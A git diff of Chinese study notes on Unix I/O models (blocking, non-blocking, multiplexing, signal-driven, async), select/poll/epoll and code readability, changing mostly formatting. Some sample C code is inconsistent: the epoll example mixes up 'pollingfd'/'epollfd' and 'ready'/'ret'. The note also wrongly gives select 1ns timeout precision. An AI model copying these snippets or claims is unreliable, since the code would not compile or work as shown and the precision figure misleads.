-    * [异步 I/O](#异步-io)
-    * [五大 I/O 模型比较](#五大-io-模型比较)
-* [二、I/O 复用](#二io-复用)
-    * [select](#select)
-    * [poll](#poll)
-    * [比较](#比较)
-    * [epoll](#epoll)
-    * [工作模式](#工作模式)
-    * [应用场景](#应用场景)
-* [参考资料](#参考资料)
-<!-- GFM-TOC -->
-
-
-# 一、I/O 模型
+# 一、I/O 模型
 
 一个输入操作通常包括两个阶段：
 
-- 等待数据准备好
-- 从内核向进程复制数据
+- 等待数据准备好
+- 从内核向进程复制数据
 
 对于一个套接字上的输入操作，第一步通常涉及等待数据从网络中到达。当所等待数据到达时，它被复制到内核中的某个缓冲区。第二步就是把数据从内核缓冲区复制到应用进程缓冲区。
 
-Unix 有五种 I/O 模型：
+Unix 有五种 I/O 模型：
 
-- 阻塞式 I/O
-- 非阻塞式 I/O
-- I/O 复用（select 和 poll）
-- 信号驱动式 I/O（SIGIO）
-- 异步 I/O（AIO）
+- 阻塞式 I/O
+- 非阻塞式 I/O
+- I/O 复用（select 和 poll）
+- 信号驱动式 I/O（SIGIO）
+- 异步 I/O（AIO）
 
-## 阻塞式 I/O
+## 阻塞式 I/O
 
 应用进程被阻塞，直到数据复制到应用进程缓冲区中才返回。
 
-应该注意到，在阻塞的过程中，其它程序还可以执行，因此阻塞不意味着整个操作系统都被阻塞。因为其他程序还可以执行，所以不消耗 CPU 时间，这种模型的 CPU 利用率效率会比较高。
+应该注意到，在阻塞的过程中，其它程序还可以执行，因此阻塞不意味着整个操作系统都被阻塞。因为其他程序还可以执行，所以不消耗 CPU 时间，这种模型的 CPU 利用率效率会比较高。
 
-下图中，recvfrom 用于接收 Socket 传来的数据，并复制到应用进程的缓冲区 buf 中。这里把 recvfrom() 当成系统调用。
+下图中，recvfrom 用于接收 Socket 传来的数据，并复制到应用进程的缓冲区 buf 中。这里把 recvfrom() 当成系统调用。
 
 ```c
-ssize_t recvfrom(int sockfd, void *buf, size_t len, int flags, struct sockaddr *src_addr, socklen_t *addrlen);
+ssize_t recvfrom(int sockfd, void *buf, size_t len, int flags, struct sockaddr *src_addr, socklen_t *addrlen);
 ```
 
-<div align="center"> <img src="pics/1492928416812_4.png"/> </div><br>
+![](index_files/1492928416812_4.png)
 
-## 非阻塞式 I/O
+## 非阻塞式 I/O
 
-应用进程执行系统调用之后，内核返回一个错误码。应用进程可以继续执行，但是需要不断的执行系统调用来获知 I/O 是否完成，这种方式称为轮询（polling）。
+应用进程执行系统调用之后，内核返回一个错误码。应用进程可以继续执行，但是需要不断的执行系统调用来获知 I/O 是否完成，这种方式称为轮询（polling）。
 
-由于 CPU 要处理更多的系统调用，因此这种模型的 CPU 利用率是比较低的。
+由于 CPU 要处理更多的系统调用，因此这种模型的 CPU 利用率是比较低的。
 
-<div align="center"> <img src="pics/1492929000361_5.png"/> </div><br>
+![](index_files/1492929000361_5.png)
 
-## I/O 复用
+## I/O 复用
 
-使用 select 或者 poll 等待数据，并且可以等待多个套接字中的任何一个变为可读。这一过程会被阻塞，当某一个套接字可读时返回，之后再使用 recvfrom 把数据从内核复制到进程中。
+使用 select 或者 poll 等待数据，并且可以等待多个套接字中的任何一个变为可读。这一过程会被阻塞，当某一个套接字可读时返回，之后再使用 recvfrom 把数据从内核复制到进程中。
 
-它可以让单个进程具有处理多个 I/O 事件的能力。又被称为 Event Driven I/O，即事件驱动 I/O。
+它可以让单个进程具有处理多个 I/O 事件的能力。又被称为 Event Driven I/O，即事件驱动 I/O。
 
-如果一个 Web 服务器没有 I/O 复用，那么每一个 Socket 连接都需要创建一个线程去处理。如果同时有几万个连接，那么就需要创建相同数量的线程。相比于多进程和多线程技术，I/O 复用不需要进程线程创建和切换的开销，系统开销更小。
+如果一个 Web 服务器没有 I/O 复用，那么每一个 Socket 连接都需要创建一个线程去处理。如果同时有几万个连接，那么就需要创建相同数量的线程。相比于多进程和多线程技术，I/O 复用不需要进程线程创建和切换的开销，系统开销更小。
 
-<div align="center"> <img src="pics/1492929444818_6.png"/> </div><br>
+![](index_files/1492929444818_6.png)
 
-## 信号驱动 I/O
+## 信号驱动 I/O
 
-应用进程使用 sigaction 系统调用，内核立即返回，应用进程可以继续执行，也就是说等待数据阶段应用进程是非阻塞的。内核在数据到达时向应用进程发送 SIGIO 信号，应用进程收到之后在信号处理程序中调用 recvfrom 将数据从内核复制到应用进程中。
+应用进程使用 sigaction 系统调用，内核立即返回，应用进程可以继续执行，也就是说等待数据阶段应用进程是非阻塞的。内核在数据到达时向应用进程发送 SIGIO 信号，应用进程收到之后在信号处理程序中调用 recvfrom 将数据从内核复制到应用进程中。
 
-相比于非阻塞式 I/O 的轮询方式，信号驱动 I/O 的 CPU 利用率更高。
+相比于非阻塞式 I/O 的轮询方式，信号驱动 I/O 的 CPU 利用率更高。
 
-<div align="center"> <img src="pics/1492929553651_7.png"/> </div><br>
+![](index_files/1492929553651_7.png)
 
-## 异步 I/O
+## 异步 I/O
 
-应用进程执行 aio_read 系统调用会立即返回，应用进程可以继续执行，不会被阻塞，内核会在所有操作完成之后向应用进程发送信号。
+应用进程执行 aio_read 系统调用会立即返回，应用进程可以继续执行，不会被阻塞，内核会在所有操作完成之后向应用进程发送信号。
 
-异步 I/O 与信号驱动 I/O 的区别在于，异步 I/O 的信号是通知应用进程 I/O 完成，而信号驱动 I/O 的信号是通知应用进程可以开始 I/O。
+异步 I/O 与信号驱动 I/O 的区别在于，异步 I/O 的信号是通知应用进程 I/O 完成，而信号驱动 I/O 的信号是通知应用进程可以开始 I/O。
 
-<div align="center"> <img src="pics/1492930243286_8.png"/> </div><br>
+![](index_files/1492930243286_8.png)
 
-## 五大 I/O 模型比较
+## 五大 I/O 模型比较
 
-- 同步 I/O：将数据从内核缓冲区复制到应用进程缓冲区的阶段，应用进程会阻塞。
-- 异步 I/O：不会阻塞。
+- 同步 I/O：将数据从内核缓冲区复制到应用进程缓冲区的阶段，应用进程会阻塞。
+- 异步 I/O：不会阻塞。
 
-阻塞式 I/O、非阻塞式 I/O、I/O 复用和信号驱动 I/O 都是同步 I/O，它们的主要区别在第一个阶段。
+阻塞式 I/O、非阻塞式 I/O、I/O 复用和信号驱动 I/O 都是同步 I/O，它们的主要区别在第一个阶段。
 
-非阻塞式 I/O 、信号驱动 I/O 和异步 I/O 在第一阶段不会阻塞。
+非阻塞式 I/O 、信号驱动 I/O 和异步 I/O 在第一阶段不会阻塞。
 
-<div align="center"> <img src="pics/1492928105791_3.png"/> </div><br>
+![](index_files/1492928105791_3.png)
 
-# 二、I/O 复用
+# 二、I/O 复用
 
-select/poll/epoll 都是 I/O 多路复用的具体实现，select 出现的最早，之后是 poll，再是 epoll。
+select/poll/epoll 都是 I/O 多路复用的具体实现，select 出现的最早，之后是 poll，再是 epoll。
 
-## select
+## select
 
 ```c
-int select(int n, fd_set *readfds, fd_set *writefds, fd_set *exceptfds, struct timeval *timeout);
+int select(int n, fd_set *readfds, fd_set *writefds, fd_set *exceptfds, struct timeval *timeout);
 ```
 
-有三种类型的描述符类型：readset、writeset、exceptset，分别对应读、写、异常条件的描述符集合。fd_set 使用数组实现，数组大小使用 FD_SETSIZE 定义。
+有三种类型的描述符类型：readset、writeset、exceptset，分别对应读、写、异常条件的描述符集合。fd_set 使用数组实现，数组大小使用 FD_SETSIZE 定义。
 
-timeout 为超时参数，调用 select 会一直阻塞直到有描述符的事件到达或者等待的时间超过 timeout。
+timeout 为超时参数，调用 select 会一直阻塞直到有描述符的事件到达或者等待的时间超过 timeout。
 
-成功调用返回结果大于 0，出错返回结果为 -1，超时返回结果为 0。
+成功调用返回结果大于 0，出错返回结果为 -1，超时返回结果为 0。
 
 ```c
-fd_set fd_in, fd_out;
-struct timeval tv;
+fd_set fd_in, fd_out;
+struct timeval tv;
 
-// Reset the sets
-FD_ZERO( &fd_in );
-FD_ZERO( &fd_out );
+// Reset the sets
+FD_ZERO( &fd_in );
+FD_ZERO( &fd_out );
 
-// Monitor sock1 for input events
-FD_SET( sock1, &fd_in );
+// Monitor sock1 for input events
+FD_SET( sock1, &fd_in );
 
-// Monitor sock2 for output events
-FD_SET( sock2, &fd_out );
+// Monitor sock2 for output events
+FD_SET( sock2, &fd_out );
 
-// Find out which socket has the largest numeric value as select requires it
-int largest_sock = sock1 > sock2 ? sock1 : sock2;
+// Find out which socket has the largest numeric value as select requires it
+int largest_sock = sock1 > sock2 ? sock1 : sock2;
 
-// Wait up to 10 seconds
-tv.tv_sec = 10;
-tv.tv_usec = 0;
+// Wait up to 10 seconds
+tv.tv_sec = 10;
+tv.tv_usec = 0;
 
-// Call the select
-int ret = select( largest_sock + 1, &fd_in, &fd_out, NULL, &tv );
+// Call the select
+int ret = select( largest_sock + 1, &fd_in, &fd_out, NULL, &tv );
 
-// Check if select actually succeed
-if ( ret == -1 )
-    // report error and abort
-else if ( ret == 0 )
-    // timeout; no event detected
+// Check if select actually succeed
+if ( ret == -1 )
+    // report error and abort
+else if ( ret == 0 )
+    // timeout; no event detected
 else
 {
-    if ( FD_ISSET( sock1, &fd_in ) )
-        // input event on sock1
+    if ( FD_ISSET( sock1, &fd_in ) )
+        // input event on sock1
 
-    if ( FD_ISSET( sock2, &fd_out ) )
-        // output event on sock2
+    if ( FD_ISSET( sock2, &fd_out ) )
+        // output event on sock2
 }
 ```
 
-## poll
+## poll
 
 ```c
-int poll(struct pollfd *fds, unsigned int nfds, int timeout);
+int poll(struct pollfd *fds, unsigned int nfds, int timeout);
 ```
 
-pollfd 使用链表实现。
+pollfd 使用链表实现。
 
 ```c
-// The structure for two events
-struct pollfd fds[2];
+// The structure for two events
+struct pollfd fds[2];
 
-// Monitor sock1 for input
-fds[0].fd = sock1;
-fds[0].events = POLLIN;
+// Monitor sock1 for input
+fds[0].fd = sock1;
+fds[0].events = POLLIN;
 
-// Monitor sock2 for output
-fds[1].fd = sock2;
-fds[1].events = POLLOUT;
+// Monitor sock2 for output
+fds[1].fd = sock2;
+fds[1].events = POLLOUT;
 
-// Wait 10 seconds
-int ret = poll( &fds, 2, 10000 );
-// Check if poll actually succeed
-if ( ret == -1 )
-    // report error and abort
-else if ( ret == 0 )
-    // timeout; no event detected
+// Wait 10 seconds
+int ret = poll( &fds, 2, 10000 );
+// Check if poll actually succeed
+if ( ret == -1 )
+    // report error and abort
+else if ( ret == 0 )
+    // timeout; no event detected
 else
 {
-    // If we detect the event, zero it out so we can reuse the structure
-    if ( fds[0].revents & POLLIN )
-        fds[0].revents = 0;
-        // input event on sock1
+    // If we detect the event, zero it out so we can reuse the structure
+    if ( fds[0].revents & POLLIN )
+        fds[0].revents = 0;
+        // input event on sock1
 
-    if ( fds[1].revents & POLLOUT )
-        fds[1].revents = 0;
-        // output event on sock2
+    if ( fds[1].revents & POLLOUT )
+        fds[1].revents = 0;
+        // output event on sock2
 }
 ```
 
-## 比较
+## 比较
 
-### 1. 功能
+### 1. 功能
 
-select 和 poll 的功能基本相同，不过在一些实现细节上有所不同。
+select 和 poll 的功能基本相同，不过在一些实现细节上有所不同。
 
-- select 会修改描述符，而 poll 不会；
-- select 的描述符类型使用数组实现，FD_SETSIZE 大小默认为 1024，因此默认只能监听 1024 个描述符。如果要监听更多描述符的话，需要修改 FD_SETSIZE 之后重新编译；而 poll 的描述符类型使用链表实现，没有描述符数量的限制；
-- poll 提供了更多的事件类型，并且对描述符的重复利用上比 select 高。
-- 如果一个线程对某个描述符调用了 select 或者 poll，另一个线程关闭了该描述符，会导致调用结果不确定。
+- select 会修改描述符，而 poll 不会；
+- select 的描述符类型使用数组实现，FD_SETSIZE 大小默认为 1024，因此默认只能监听 1024 个描述符。如果要监听更多描述符的话，需要修改 FD_SETSIZE 之后重新编译；而 poll 的描述符类型使用链表实现，没有描述符数量的限制；
+- poll 提供了更多的事件类型，并且对描述符的重复利用上比 select 高。
+- 如果一个线程对某个描述符调用了 select 或者 poll，另一个线程关闭了该描述符，会导致调用结果不确定。
 
-### 2. 速度
+### 2. 速度
 
-select 和 poll 速度都比较慢。
+select 和 poll 速度都比较慢。
 
-- select 和 poll 每次调用都需要将全部描述符从应用进程缓冲区复制到内核缓冲区。
-- select 和 poll 的返回结果中没有声明哪些描述符已经准备好，所以如果返回值大于 0 时，应用进程都需要使用轮询的方式来找到 I/O 完成的描述符。
+- select 和 poll 每次调用都需要将全部描述符从应用进程缓冲区复制到内核缓冲区。
+- select 和 poll 的返回结果中没有声明哪些描述符已经准备好，所以如果返回值大于 0 时，应用进程都需要使用轮询的方式来找到 I/O 完成的描述符。
 
-### 3. 可移植性
+### 3. 可移植性
 
-几乎所有的系统都支持 select，但是只有比较新的系统支持 poll。
+几乎所有的系统都支持 select，但是只有比较新的系统支持 poll。
 
-## epoll
+## epoll
 
 ```c
-int epoll_create(int size);
-int epoll_ctl(int epfd, int op, int fd, struct epoll_event *event)；
-int epoll_wait(int epfd, struct epoll_event * events, int maxevents, int timeout);
+int epoll_create(int size);
+int epoll_ctl(int epfd, int op, int fd, struct epoll_event *event)；
+int epoll_wait(int epfd, struct epoll_event * events, int maxevents, int timeout);
 ```
 
-epoll_ctl() 用于向内核注册新的描述符或者是改变某个文件描述符的状态。已注册的描述符在内核中会被维护在一棵红黑树上，通过回调函数内核会将 I/O 准备好的描述符加入到一个链表中管理，进程调用 epoll_wait() 便可以得到事件完成的描述符。
+epoll_ctl() 用于向内核注册新的描述符或者是改变某个文件描述符的状态。已注册的描述符在内核中会被维护在一棵红黑树上，通过回调函数内核会将 I/O 准备好的描述符加入到一个链表中管理，进程调用 epoll_wait() 便可以得到事件完成的描述符。
 
-从上面的描述可以看出，epoll 只需要将描述符从进程缓冲区向内核缓冲区拷贝一次，并且进程不需要通过轮询来获得事件完成的描述符。
+从上面的描述可以看出，epoll 只需要将描述符从进程缓冲区向内核缓冲区拷贝一次，并且进程不需要通过轮询来获得事件完成的描述符。
 
-epoll 仅适用于 Linux OS。
+epoll 仅适用于 Linux OS。
 
-epoll 比 select 和 poll 更加灵活而且没有描述符数量限制。
+epoll 比 select 和 poll 更加灵活而且没有描述符数量限制。
 
-epoll 对多线程编程更有友好，一个线程调用了 epoll_wait() 另一个线程关闭了同一个描述符也不会产生像 select 和 poll 的不确定情况。
+epoll 对多线程编程更有友好，一个线程调用了 epoll_wait() 另一个线程关闭了同一个描述符也不会产生像 select 和 poll 的不确定情况。
 
 ```c
-// Create the epoll descriptor. Only one is needed per app, and is used to monitor all sockets.
-// The function argument is ignored (it was not before, but now it is), so put your favorite number here
-int pollingfd = epoll_create( 0xCAFE );
+// Create the epoll descriptor. Only one is needed per app, and is used to monitor all sockets.
+// The function argument is ignored (it was not before, but now it is), so put your favorite number here
+int pollingfd = epoll_create( 0xCAFE );
 
-if ( pollingfd < 0 )
- // report error
+if ( pollingfd < 0 )
+ // report error
 
-// Initialize the epoll structure in case more members are added in future
-struct epoll_event ev = { 0 };
+// Initialize the epoll structure in case more members are added in future
+struct epoll_event ev = { 0 };
 
-// Associate the connection class instance with the event. You can associate anything
-// you want, epoll does not use this information. We store a connection class pointer, pConnection1
-ev.data.ptr = pConnection1;
+// Associate the connection class instance with the event. You can associate anything
+// you want, epoll does not use this information. We store a connection class pointer, pConnection1
+ev.data.ptr = pConnection1;
 
-// Monitor for input, and do not automatically rearm the descriptor after the event
-ev.events = EPOLLIN | EPOLLONESHOT;
-// Add the descriptor into the monitoring list. We can do it even if another thread is
-// waiting in epoll_wait - the descriptor will be properly added
-if ( epoll_ctl( epollfd, EPOLL_CTL_ADD, pConnection1->getSocket(), &ev ) != 0 )
-    // report error
+// Monitor for input, and do not automatically rearm the descriptor after the event
+ev.events = EPOLLIN | EPOLLONESHOT;
+// Add the descriptor into the monitoring list. We can do it even if another thread is
+// waiting in epoll_wait - the descriptor will be properly added
+if ( epoll_ctl( epollfd, EPOLL_CTL_ADD, pConnection1->getSocket(), &ev ) != 0 )
+    // report error
 
-// Wait for up to 20 events (assuming we have added maybe 200 sockets before that it may happen)
-struct epoll_event pevents[ 20 ];
+// Wait for up to 20 events (assuming we have added maybe 200 sockets before that it may happen)
+struct epoll_event pevents[ 20 ];
 
-// Wait for 10 seconds, and retrieve less than 20 epoll_event and store them into epoll_event array
-int ready = epoll_wait( pollingfd, pevents, 20, 10000 );
-// Check if epoll actually succeed
-if ( ret == -1 )
-    // report error and abort
-else if ( ret == 0 )
-    // timeout; no event detected
+// Wait for 10 seconds, and retrieve less than 20 epoll_event and store them into epoll_event array
+int ready = epoll_wait( pollingfd, pevents, 20, 10000 );
+// Check if epoll actually succeed
+if ( ret == -1 )
+    // report error and abort
+else if ( ret == 0 )
+    // timeout; no event detected
 else
 {
-    // Check if any events detected
-    for ( int i = 0; i < ret; i++ )
-    {
-        if ( pevents[i].events & EPOLLIN )
-        {
-            // Get back our connection pointer
-            Connection * c = (Connection*) pevents[i].data.ptr;
-            c->handleReadEvent();
-         }
-    }
+    // Check if any events detected
+    for ( int i = 0; i < ret; i++ )
+    {
+        if ( pevents[i].events & EPOLLIN )
+        {
+            // Get back our connection pointer
+            Connection * c = (Connection*) pevents[i].data.ptr;
+            c->handleReadEvent();
+         }
+    }
 }
 ```
 
 
-## 工作模式
+## 工作模式
 
-epoll 的描述符事件有两种触发模式：LT（level trigger）和 ET（edge trigger）。
+epoll 的描述符事件有两种触发模式：LT（level trigger）和 ET（edge trigger）。
 
-### 1. LT 模式
+### 1. LT 模式
 
-当 epoll_wait() 检测到描述符事件到达时，将此事件通知进程，进程可以不立即处理该事件，下次调用 epoll_wait() 会再次通知进程。是默认的一种模式，并且同时支持 Blocking 和 No-Blocking。
+当 epoll_wait() 检测到描述符事件到达时，将此事件通知进程，进程可以不立即处理该事件，下次调用 epoll_wait() 会再次通知进程。是默认的一种模式，并且同时支持 Blocking 和 No-Blocking。
 
-### 2. ET 模式
+### 2. ET 模式
 
-和 LT 模式不同的是，通知之后进程必须立即处理事件，下次再调用 epoll_wait() 时不会再得到事件到达的通知。
+和 LT 模式不同的是，通知之后进程必须立即处理事件，下次再调用 epoll_wait() 时不会再得到事件到达的通知。
 
-很大程度上减少了 epoll 事件被重复触发的次数，因此效率要比 LT 模式高。只支持 No-Blocking，以避免由于一个文件句柄的阻塞读/阻塞写操作把处理多个文件描述符的任务饿死。
+很大程度上减少了 epoll 事件被重复触发的次数，因此效率要比 LT 模式高。只支持 No-Blocking，以避免由于一个文件句柄的阻塞读/阻塞写操作把处理多个文件描述符的任务饿死。
 
-## 应用场景
+## 应用场景
 
-很容易产生一种错觉认为只要用 epoll 就可以了，select 和 poll 都已经过时了，其实它们都有各自的使用场景。
+很容易产生一种错觉认为只要用 epoll 就可以了，select 和 poll 都已经过时了，其实它们都有各自的使用场景。
 
-### 1. select 应用场景
+### 1. select 应用场景
 
-select 的 timeout 参数精度为 1ns，而 poll 和 epoll 为 1ms，因此 select 更加适用于实时性要求比较高的场景，比如核反应堆的控制。
+select 的 timeout 参数精度为 1ns，而 poll 和 epoll 为 1ms，因此 select 更加适用于实时性要求比较高的场景，比如核反应堆的控制。
 
-select 可移植性更好，几乎被所有主流平台所支持。
+select 可移植性更好，几乎被所有主流平台所支持。
 
-### 2. poll 应用场景
+### 2. poll 应用场景
 
-poll 没有最大描述符数量的限制，如果平台支持并且对实时性要求不高，应该使用 poll 而不是 select。
+poll 没有最大描述符数量的限制，如果平台支持并且对实时性要求不高，应该使用 poll 而不是 select。
 
-### 3. epoll 应用场景
+### 3. epoll 应用场景
 
-只需要运行在 Linux 平台上，有大量的描述符需要同时轮询，并且这些连接最好是长连接。
+只需要运行在 Linux 平台上，有大量的描述符需要同时轮询，并且这些连接最好是长连接。
 
-需要同时监控小于 1000 个描述符，就没有必要使用 epoll，因为这个应用场景下并不能体现 epoll 的优势。
+需要同时监控小于 1000 个描述符，就没有必要使用 epoll，因为这个应用场景下并不能体现 epoll 的优势。
 
-需要监控的描述符状态变化多，而且都是非常短暂的，也没有必要使用 epoll。因为 epoll 中的所有描述符都存储在内核中，造成每次需要对描述符的状态改变都需要通过 epoll_ctl() 进行系统调用，频繁系统调用降低效率。并且 epoll 的描述符存储在内核，不容易调试。
+需要监控的描述符状态变化多，而且都是非常短暂的，也没有必要使用 epoll。因为 epoll 中的所有描述符都存储在内核中，造成每次需要对描述符的状态改变都需要通过 epoll_ctl() 进行系统调用，频繁系统调用降低效率。并且 epoll 的描述符存储在内核，不容易调试。
 
-# 参考资料
+# 参考资料
 
-- Stevens W R, Fenner B, Rudoff A M. UNIX network programming[M]. Addison-Wesley Professional, 2004.
-- [Boost application performance using asynchronous I/O](https://www.ibm.com/developerworks/linux/library/l-async/)
-- [Synchronous and Asynchronous I/O](https://msdn.microsoft.com/en-us/library/windows/desktop/aa365683(v=vs.85).aspx)
-- [Linux IO 模式及 select、poll、epoll 详解](https://segmentfault.com/a/1190000003063859)
-- [poll vs select vs event-based](https://daniel.haxx.se/docs/poll-vs-select.html)
-- [select / poll / epoll: practical difference for system architects](http://www.ulduzsoft.com/2014/01/select-poll-epoll-practical-difference-for-system-architects/)
-- [Browse the source code of userspace/glibc/sysdeps/unix/sysv/linux/ online](https://code.woboq.org/userspace/glibc/sysdeps/unix/sysv/linux/)
+- Stevens W R, Fenner B, Rudoff A M. UNIX network programming[M]. Addison-Wesley Professional, 2004.
+- [Boost application performance using asynchronous I/O](https://www.ibm.com/developerworks/linux/library/l-async/)
+- [Synchronous and Asynchronous I/O](https://msdn.microsoft.com/en-us/library/windows/desktop/aa365683(v=vs.85).aspx)
+- [Linux IO 模式及 select、poll、epoll 详解](https://segmentfault.com/a/1190000003063859)
+- [poll vs select vs event-based](https://daniel.haxx.se/docs/poll-vs-select.html)
+- [select / poll / epoll: practical difference for system architects](http://www.ulduzsoft.com/2014/01/select-poll-epoll-practical-difference-for-system-architects/)
+- [Browse the source code of userspace/glibc/sysdeps/unix/sysv/linux/ online](https://code.woboq.org/userspace/glibc/sysdeps/unix/sysv/linux/)
\ No newline at end of file
diff --git a/docs/notes/代码可读性.md b/docs/notes/代码可读性.md
index 5486a1a7..ff52026a 100644
--- a/docs/notes/代码可读性.md
+++ b/docs/notes/代码可读性.md
@@ -1,23 +1,4 @@
-[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
-<!-- GFM-TOC -->
-* [一、可读性的重要性](#一可读性的重要性)
-* [二、用名字表达代码含义](#二用名字表达代码含义)
-* [三、名字不能带来歧义](#三名字不能带来歧义)
-* [四、良好的代码风格](#四良好的代码风格)
-* [五、为何编写注释](#五为何编写注释)
-* [六、如何编写注释](#六如何编写注释)
-* [七、提高控制流的可读性](#七提高控制流的可读性)
-* [八、拆分长表达式](#八拆分长表达式)
-* [九、变量与可读性](#九变量与可读性)
-* [十、抽取函数](#十抽取函数)
-* [十一、一次只做一件事](#十一一次只做一件事)
-* [十二、用自然语言表述代码](#十二用自然语言表述代码)
-* [十三、减少代码量](#十三减少代码量)
-* [参考资料](#参考资料)
-<!-- GFM-TOC -->
-
-
-# 一、可读性的重要性
+# 一、可读性的重要性
 
 编程有很大一部分时间是在阅读代码，不仅要阅读自己的代码，而且要阅读别人的代码。因此，可读性良好的代码能够大大提高编程效率。
 
@@ -25,50 +6,50 @@
 
 只有在核心领域为了效率才可以放弃可读性，否则可读性是第一位。
 
-# 二、用名字表达代码含义
+# 二、用名字表达代码含义
 
 一些比较有表达力的单词：
 
-|  单词 |  可替代单词 |
-| :---: | --- |
-|  send | deliver、dispatch、announce、distribute、route  |
-| find  |  search、extract、locate、recover |
-| start| launch、create、begin、open|
-| make | create、set up、build、generate、compose、add、new |
+|  单词 |  可替代单词 |
+| :---: | --- |
+|  send | deliver、dispatch、announce、distribute、route  |
+| find  |  search、extract、locate、recover |
+| start| launch、create、begin、open|
+| make | create、set up、build、generate、compose、add、new |
 
-使用 i、j、k 作为循环迭代器的名字过于简单，user_i、member_i 这种名字会更有表达力。因为循环层次越多，代码越难理解，有表达力的迭代器名字可读性会更高。
+使用 i、j、k 作为循环迭代器的名字过于简单，user_i、member_i 这种名字会更有表达力。因为循环层次越多，代码越难理解，有表达力的迭代器名字可读性会更高。
 
 为名字添加形容词等信息能让名字更具有表达力，但是名字也会变长。名字长短的准则是：作用域越大，名字越长。因此只有在短作用域才能使用一些简单名字。
 
-# 三、名字不能带来歧义
+# 三、名字不能带来歧义
 
 起完名字要思考一下别人会对这个名字有何解读，会不会误解了原本想表达的含义。
 
-布尔相关的命名加上 is、can、should、has 等前缀。
+布尔相关的命名加上 is、can、should、has 等前缀。
 
-- 用 min、max 表示数量范围；
-- 用 first、last 表示访问空间的包含范围；
-- begin、end 表示访问空间的排除范围，即 end 不包含尾部。
+- 用 min、max 表示数量范围；
+- 用 first、last 表示访问空间的包含范围；
+- begin、end 表示访问空间的排除范围，即 end 不包含尾部。
 
-<div align="center"> <img src="pics/05907ab4-42c5-4b5e-9388-6617f6c97bea.jpg"/> </div><br>
+![](index_files/05907ab4-42c5-4b5e-9388-6617f6c97bea.jpg)
 
-# 四、良好的代码风格
+# 四、良好的代码风格
 
 适当的空行和缩进。
 
 排列整齐的注释：
 
 ```java
-int a = 1;   // 注释
-int b = 11;  // 注释
-int c = 111; // 注释
+int a = 1;   // 注释
+int b = 11;  // 注释
+int c = 111; // 注释
 ```
 
-语句顺序不能随意，比如与 html 表单相关联的变量的赋值应该和表单在 html 中的顺序一致。
+语句顺序不能随意，比如与 html 表单相关联的变量的赋值应该和表单在 html 中的顺序一致。
 
-# 五、为何编写注释
+# 五、为何编写注释
 
-阅读代码首先会注意到注释，如果注释没太大作用，那么就会浪费代码阅读的时间。那些能直接看出含义的代码不需要写注释，特别是并不需要为每个方法都加上注释，比如那些简单的 getter 和 setter 方法，为这些方法写注释反而让代码可读性更差。
+阅读代码首先会注意到注释，如果注释没太大作用，那么就会浪费代码阅读的时间。那些能直接看出含义的代码不需要写注释，特别是并不需要为每个方法都加上注释，比如那些简单的 getter 和 setter 方法，为这些方法写注释反而让代码可读性更差。
 
 不能因为有注释就随便起个名字，而是争取起个好名字而不写注释。
 
@@ -76,193 +57,193 @@ int c = 111; // 注释
 
 注释用来提醒一些特殊情况。
 
-用 TODO 等做标记：
+用 TODO 等做标记：
 
-| 标记 | 用法 |
+| 标记 | 用法 |
 |---|---|
-|TODO| 待做 |
-|FIXME| 待修复 |
-|HACK| 粗糙的解决方案 |
-|XXX| 危险！这里有重要的问题 |
+|TODO| 待做 |
+|FIXME| 待修复 |
+|HACK| 粗糙的解决方案 |
+|XXX| 危险！这里有重要的问题 |
 
-# 六、如何编写注释
+# 六、如何编写注释
 
 尽量简洁明了：
 
 ```java
-// The first String is student's name
-// The Second Integer is student's score
-Map<String, Integer> scoreMap = new HashMap<>();
+// The first String is student's name
+// The Second Integer is student's score
+Map<String, Integer> scoreMap = new HashMap<>();
 ```
 
 ```java
-// Student's name -> Student's score
-Map<String, Integer> scoreMap = new HashMap<>();
+// Student's name -> Student's score
+Map<String, Integer> scoreMap = new HashMap<>();
 ```
 
 添加测试用例来说明：
 
 ```java
-// ...
-// Example: add(1, 2), return 3
-int add(int x, int y) {
-    return x + y;
+// ...
+// Example: add(1, 2), return 3
+int add(int x, int y) {
+    return x + y;
 }
 ```
 
 使用专业名词来缩短概念上的解释，比如用设计模式名来说明代码。
 
-# 七、提高控制流的可读性
+# 七、提高控制流的可读性
 
 条件表达式中，左侧是变量，右侧是常数。比如下面第一个语句正确：
 
 ```java
-if (len < 10)
-if (10 > len)
+if (len < 10)
+if (10 > len)
 ```
 
-只有在逻辑简单的情况下使用 ? : 三目运算符来使代码更紧凑，否则应该拆分成 if / else；
+只有在逻辑简单的情况下使用 ? : 三目运算符来使代码更紧凑，否则应该拆分成 if / else；
 
-do / while 的条件放在后面，不够简单明了，并且会有一些迷惑的地方，最好使用 while 来代替。
+do / while 的条件放在后面，不够简单明了，并且会有一些迷惑的地方，最好使用 while 来代替。
 
-如果只有一个 goto 目标，那么 goto 尚且还能接受，但是过于复杂的 goto 会让代码可读性特别差，应该避免使用 goto。
+如果只有一个 goto 目标，那么 goto 尚且还能接受，但是过于复杂的 goto 会让代码可读性特别差，应该避免使用 goto。
 
-在嵌套的循环中，用一些 return 语句往往能减少嵌套的层数。
+在嵌套的循环中，用一些 return 语句往往能减少嵌套的层数。
 
-# 八、拆分长表达式
+# 八、拆分长表达式
 
 长表达式的可读性很差，可以引入一些解释变量从而拆分表达式：
 
 ```python
-if line.split(':')[0].strip() == "root":
-    ...
+if line.split(':')[0].strip() == "root":
+    ...
 ```
 ```python
-username = line.split(':')[0].strip()
-if username == "root":
-    ...
+username = line.split(':')[0].strip()
+if username == "root":
+    ...
 ```
 
 使用摩根定理简化一些逻辑表达式：
 
 ```java
-if (!a && !b) {
-    ...
+if (!a && !b) {
+    ...
 }
 ```
 ```java
-if (!(a || b)) {
-    ...
+if (!(a || b)) {
+    ...
 }
 ```
 
-# 九、变量与可读性
+# 九、变量与可读性
 
-**去除控制流变量** 。在循环中通过使用 break 或者 return 可以减少控制流变量的使用。
+**去除控制流变量**。在循环中通过使用 break 或者 return 可以减少控制流变量的使用。
 
 ```java
-boolean done = false;
-while (/* condition */ && !done) {
-    ...
-    if ( ... ) {
-        done = true;
-        continue;
-    }
+boolean done = false;
+while (/* condition */ && !done) {
+    ...
+    if ( ... ) {
+        done = true;
+        continue;
+    }
 }
 ```
 
 ```java
-while(/* condition */) {
-    ...
-    if ( ... ) {
-        break;
-    }
+while(/* condition */) {
+    ...
+    if ( ... ) {
+        break;
+    }
 }
 ```
 
-**减小变量作用域** 。作用域越小，越容易定位到变量所有使用的地方。
+**减小变量作用域**。作用域越小，越容易定位到变量所有使用的地方。
 
